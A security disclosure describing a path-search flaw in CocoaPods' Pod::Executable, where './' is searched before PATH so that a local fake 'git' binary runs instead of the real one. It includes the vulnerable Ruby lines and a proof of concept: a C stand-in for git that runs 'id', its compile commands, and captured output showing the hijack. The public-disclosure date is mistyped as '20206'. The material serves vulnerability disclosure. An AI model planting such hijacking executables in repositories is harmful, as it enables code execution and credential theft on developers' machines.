Disclosure: Local Executable Hijacking in CocoaPods via Unsafe Path Search
CocoaPods contains an unsafe executable resolution issue in Pod::Executable that may allow arbitrary command execution when running CocoaPods commands inside a directory containing attacker-controlled files.
The vulnerable logic prepends the current working directory (./) to the executable search path before trusted system locations. If a malicious repository contains a fake executable such as git, tar, or another binary invoked by CocoaPods, that file may be executed instead of the legitimate system binary.
This can lead to local code execution in the context of the user running CocoaPods.
Affected Component
- Package: CocoaPods
- Module:
Pod::Executable - File:
lib/cocoapods/executable.rb
Reference:
https://github.com/CocoaPods/CocoaPods/blob/master/lib/cocoapods/executable.rb#L91-L106
Technical Details
The which method used by CocoaPods to locate external programs inserts ./ at the beginning of the search path:
1
2
3
4
program = program.to_s
paths = ENV.fetch('PATH') { '' }.split(File::PATH_SEPARATOR)
paths.unshift('./')
paths.uniq!
Because the current directory is searched first, CocoaPods may execute a local file matching the expected executable name before checking trusted system locations such as:
/usr/bin/bin/usr/local/bin
If a repository or working directory contains a malicious executable named git, CocoaPods may invoke that file during normal operations.
Impact
Successful exploitation may allow arbitrary code execution with the privileges of the user running CocoaPods.
Potential impact includes:
- Execution of attacker-controlled commands
- Theft of local credentials or SSH keys
- Source code exfiltration
- Local environment compromise
- Abuse of developer permissions
Attack Requirements
An attacker must convince a victim to run CocoaPods commands from a directory containing a malicious executable.
Example scenarios:
- Cloning and opening a malicious repository
- Extracting an untrusted project archive
- Working inside a compromised shared directory
Proof of Concept
Create a fake git executable:
1
2
3
4
5
6
#include <unistd.h>
int main() {
execl("/usr/bin/id", "id", (char *)NULL);
return 0;
}
Compile:
1
2
gcc git.c -o git
chmod +x git
Run from the same directory:
1
pod --help
CocoaPods will invoke the local ./git binary when attempting to execute git --version.
1
2
3
4
5
6
7
8
9
snoopy@snoopy-MacBookPro11-4:~/cctest_rb$ pod --help
/home/snoopy/.gem/ruby/3.0.0/gems/cocoapods-1.16.2/lib/cocoapods/command.rb:128:in `git_version': Failed to extract git version from `git --version` ("uid=1000(snoopy) gid=1000(snoopy) groups=1000(snoopy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),124(docker)\n") (RuntimeError)
from /home/snoopy/.gem/ruby/3.0.0/gems/cocoapods-1.16.2/lib/cocoapods/command.rb:140:in `verify_minimum_git_version!'
from /home/snoopy/.gem/ruby/3.0.0/gems/cocoapods-1.16.2/lib/cocoapods/command.rb:49:in `run'
from /home/snoopy/.gem/ruby/3.0.0/gems/cocoapods-1.16.2/bin/pod:55:in `<top (required)>'
from /home/snoopy/.rbenv/versions/3.2.4/lib/ruby/site_ruby/3.2.0/rubygems.rb:304:in `load'
from /home/snoopy/.rbenv/versions/3.2.4/lib/ruby/site_ruby/3.2.0/rubygems.rb:304:in `activate_and_load_bin_path'
from /home/snoopy/.gem/ruby/3.0.0/bin/pod:25:in `<main>'
snoopy@snoopy-MacBookPro11-4:~/cctest_rb$
Remediation
Maintainers were contacted months ago, and a PR was also open in public - https://github.com/CocoaPods/CocoaPods/pull/12899. This package is not maintained.
Timeline
- Vendor notified: 09/03/2026
- 1st follow up: 27/03/2026
- Public PR open and 2nd follow up: 02/04/2026
- Public disclosure: 22/04/20206